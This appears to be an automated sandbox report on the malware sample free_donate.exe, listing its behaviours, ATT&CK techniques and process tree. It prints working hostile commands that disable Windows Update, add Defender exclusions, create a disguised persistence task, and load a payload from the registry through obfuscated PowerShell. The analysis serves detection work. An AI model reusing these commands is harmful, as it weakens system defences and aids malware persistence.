b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3

Analysis

max time kernel
10s
max time network
59s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
17-11-2022 21:41

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General

Target

free_donate.exe
Size

2.7MB
MD5

5026ed09cc5a093093461066d16a8f30
SHA1

34d60b874d9d3f8841c721692ea1daf31f330653
SHA256

b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3
SHA512

2429b9d55af9abe991a182b5fe49548d31986046c3bbacaa4021dd7544752f9b2e0b5c494c989b58daafaaf604e863abe3bd013125068331538618140d67a1f1
SSDEEP

49152:HgJH+Kol630+0DW0TOWxKyuPcMPgBAnDEQ1o/40fyNHpElUZ7lPP:AJgl630pBTXVGhPYzQ1o//wElulH

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	free_donate.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2160	takeown.exe
3204	icacls.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	free_donate.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2160	takeown.exe
3204	icacls.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 780 set thread context of 3512	780	free_donate.exe	103

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File created	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	conhost.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3396	sc.exe
4972	sc.exe
3640	sc.exe
4028	sc.exe
2436	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry key 1 TTPs 9 IoCs

Modify Registry

T1112

pid	Process
3132	reg.exe
2472	reg.exe
3804	reg.exe
2736	reg.exe
4612	reg.exe
1792	reg.exe
4544	reg.exe
1920	reg.exe
3740	reg.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4320	powershell.exe
4320	powershell.exe
780	free_donate.exe
428	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	4320	powershell.exe
Token: SeDebugPrivilege	780	free_donate.exe
Token: SeShutdownPrivilege	4868	powercfg.exe
Token: SeCreatePagefilePrivilege	4868	powercfg.exe
Token: SeShutdownPrivilege	1036	powercfg.exe
Token: SeCreatePagefilePrivilege	1036	powercfg.exe
Token: SeShutdownPrivilege	32	powercfg.exe
Token: SeCreatePagefilePrivilege	32	powercfg.exe
Token: SeShutdownPrivilege	2352	powercfg.exe
Token: SeCreatePagefilePrivilege	2352	powercfg.exe
Token: SeTakeOwnershipPrivilege	2160	takeown.exe
Token: SeDebugPrivilege	428	powershell.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 780 wrote to memory of 4320	780	free_donate.exe	81
PID 780 wrote to memory of 4320	780	free_donate.exe	81
PID 780 wrote to memory of 524	780	free_donate.exe	83
PID 780 wrote to memory of 524	780	free_donate.exe	83
PID 780 wrote to memory of 372	780	free_donate.exe	85
PID 780 wrote to memory of 372	780	free_donate.exe	85
PID 524 wrote to memory of 2436	524	cmd.exe	87
PID 524 wrote to memory of 2436	524	cmd.exe	87
PID 524 wrote to memory of 3396	524	cmd.exe	88
PID 524 wrote to memory of 3396	524	cmd.exe	88
PID 372 wrote to memory of 4868	372	cmd.exe	89
PID 372 wrote to memory of 4868	372	cmd.exe	89
PID 524 wrote to memory of 3640	524	cmd.exe	91
PID 524 wrote to memory of 3640	524	cmd.exe	91
PID 524 wrote to memory of 4972	524	cmd.exe	90
PID 524 wrote to memory of 4972	524	cmd.exe	90
PID 372 wrote to memory of 1036	372	cmd.exe	92
PID 372 wrote to memory of 1036	372	cmd.exe	92
PID 524 wrote to memory of 4028	524	cmd.exe	93
PID 524 wrote to memory of 4028	524	cmd.exe	93
PID 372 wrote to memory of 32	372	cmd.exe	94
PID 372 wrote to memory of 32	372	cmd.exe	94
PID 524 wrote to memory of 1920	524	cmd.exe	95
PID 524 wrote to memory of 1920	524	cmd.exe	95
PID 372 wrote to memory of 2352	372	cmd.exe	96
PID 372 wrote to memory of 2352	372	cmd.exe	96
PID 524 wrote to memory of 3740	524	cmd.exe	97
PID 524 wrote to memory of 3740	524	cmd.exe	97
PID 524 wrote to memory of 3804	524	cmd.exe	98
PID 524 wrote to memory of 3804	524	cmd.exe	98
PID 524 wrote to memory of 4612	524	cmd.exe	100
PID 524 wrote to memory of 4612	524	cmd.exe	100
PID 524 wrote to memory of 2736	524	cmd.exe	99
PID 524 wrote to memory of 2736	524	cmd.exe	99
PID 524 wrote to memory of 2160	524	cmd.exe	101
PID 524 wrote to memory of 2160	524	cmd.exe	101
PID 524 wrote to memory of 3204	524	cmd.exe	102
PID 524 wrote to memory of 3204	524	cmd.exe	102
PID 780 wrote to memory of 3512	780	free_donate.exe	103
PID 780 wrote to memory of 3512	780	free_donate.exe	103
PID 780 wrote to memory of 3512	780	free_donate.exe	103
PID 780 wrote to memory of 3512	780	free_donate.exe	103
PID 780 wrote to memory of 3512	780	free_donate.exe	103
PID 780 wrote to memory of 3512	780	free_donate.exe	103
PID 780 wrote to memory of 3512	780	free_donate.exe	103
PID 780 wrote to memory of 3512	780	free_donate.exe	103
PID 780 wrote to memory of 3512	780	free_donate.exe	103
PID 780 wrote to memory of 3512	780	free_donate.exe	103
PID 780 wrote to memory of 3512	780	free_donate.exe	103
PID 780 wrote to memory of 428	780	free_donate.exe	104
PID 780 wrote to memory of 428	780	free_donate.exe	104

C:\Users\Admin\AppData\Local\Temp\free_donate.exe
"C:\Users\Admin\AppData\Local\Temp\free_donate.exe"
1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAZgBxACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdwBhAG0AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegB5AGQAaQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBpAHUAbAAjAD4A"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:524
- - C:\Windows\system32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2436
- - C:\Windows\system32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3396
- - C:\Windows\system32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4972
- - C:\Windows\system32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3640
- - C:\Windows\system32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4028
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
    3⤵
    - Modifies registry key
    PID:1920
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
    3⤵
    - Modifies registry key
    PID:3740
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
    3⤵
    - Modifies security service
    - Modifies registry key
    PID:3804
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
    3⤵
    - Modifies registry key
    PID:2736
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
    3⤵
    - Modifies registry key
    PID:4612
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\WaaSMedicSvc.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2160
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3204
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
    3⤵
    - Modifies registry key
    PID:3132
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
    3⤵
    - Modifies registry key
    PID:2472
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
    3⤵
    - Modifies registry key
    PID:1792
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
    3⤵
    - Modifies registry key
    PID:4544
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
    3⤵
    PID:1876
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
    3⤵
    PID:924
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
    3⤵
    PID:3432
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
    3⤵
    PID:4400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:372
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4868
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1036
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:32
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2352
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  - Drops file in Windows directory
  PID:3512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAYwB4AG4AIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEASABBAEEAZAB3AEEAagBBAEQANABBAEkAQQBCAFQAQQBIAFEAQQBZAFEAQgB5AEEASABRAEEATABRAEIAUQBBAEgASQBBAGIAdwBCAGoAQQBHAFUAQQBjAHcAQgB6AEEAQwBBAEEATABRAEIARwBBAEcAawBBAGIAQQBCAGwAQQBGAEEAQQBZAFEAQgAwAEEARwBnAEEASQBBAEEAbgBBAEUATQBBAE8AZwBCAGMAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAEkAQQBCAEcAQQBHAGsAQQBiAEEAQgBsAEEASABNAEEAWABBAEIASABBAEcAOABBAGIAdwBCAG4AQQBHAHcAQQBaAFEAQgBjAEEARQBNAEEAYQBBAEIAeQBBAEcAOABBAGIAUQBCAGwAQQBGAHcAQQBkAFEAQgB3AEEARwBRAEEAWQBRAEIAMABBAEcAVQBBAGMAZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAdABBAEYAWQBBAFoAUQBCAHkAQQBHAEkAQQBJAEEAQgBTAEEASABVAEEAYgBnAEIAQgBBAEgATQBBAEkAQQBBADgAQQBDAE0AQQBhAFEAQgAwAEEAQwBNAEEAUABnAEEAPQAiACcAKQAgADwAIwB6AHIAbABtACMAPgAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABTAHQAYQByAHQAdQBwACkAIAA8ACMAdwBzACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAZQB1AHEAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwBpAGEAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABmAHIAZQBlAF8AZABvAG4AYQB0AGUALgBlAHgAZQAnACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgADwAIwBvAHUAIwA+ADsAIABTAHQAYQByAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAAPAAjAGEAdgBhACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAOwA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:428

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:1692

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{cb25963d-30eb-4752-8ef6-c1bd9fda8cb7}
1⤵
PID:4200

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

Impair Defenses

Modify Registry

Web Service

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
memory/428-165-0x00007FFC3A920000-0x00007FFC3B3E1000-memory.dmp

Filesize
10.8MB

Download
memory/744-175-0x00000000044A0000-0x00000000044C2000-memory.dmp

Filesize
136KB

Download
memory/744-171-0x0000000004660000-0x0000000004C88000-memory.dmp

Filesize
6.2MB

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memory/744-169-0x0000000003EB0000-0x0000000003EE6000-memory.dmp

Filesize
216KB

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memory/744-176-0x0000000004D90000-0x0000000004DF6000-memory.dmp

Filesize
408KB

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memory/744-178-0x0000000004E00000-0x0000000004E66000-memory.dmp

Filesize
408KB

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memory/780-173-0x00007FFC3A920000-0x00007FFC3B3E1000-memory.dmp

Filesize
10.8MB

Download
memory/780-139-0x000000001C7D0000-0x000000001C7E2000-memory.dmp

Filesize
72KB

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memory/780-132-0x0000000000A10000-0x0000000000CC8000-memory.dmp

Filesize
2.7MB

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memory/780-133-0x00007FFC3A920000-0x00007FFC3B3E1000-memory.dmp

Filesize
10.8MB

Download
memory/1692-189-0x00007FFC56DB0000-0x00007FFC56E6E000-memory.dmp

Filesize
760KB

Download
memory/1692-188-0x00007FFC58C90000-0x00007FFC58E85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-180-0x00007FFC56DB0000-0x00007FFC56E6E000-memory.dmp

Filesize
760KB

Download
memory/1692-179-0x00007FFC58C90000-0x00007FFC58E85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-174-0x00007FFC3A920000-0x00007FFC3B3E1000-memory.dmp

Filesize
10.8MB

Download
memory/3512-158-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/3512-156-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/3512-160-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/3512-159-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/4200-190-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/4200-187-0x00007FFC56DB0000-0x00007FFC56E6E000-memory.dmp

Filesize
760KB

Download
memory/4200-186-0x00007FFC58C90000-0x00007FFC58E85000-memory.dmp

Filesize
2.0MB

Download
memory/4200-182-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/4200-184-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/4200-185-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/4320-135-0x000001EF78720000-0x000001EF78742000-memory.dmp

Filesize
136KB

Download
memory/4320-136-0x00007FFC3A920000-0x00007FFC3B3E1000-memory.dmp

Filesize
10.8MB

Download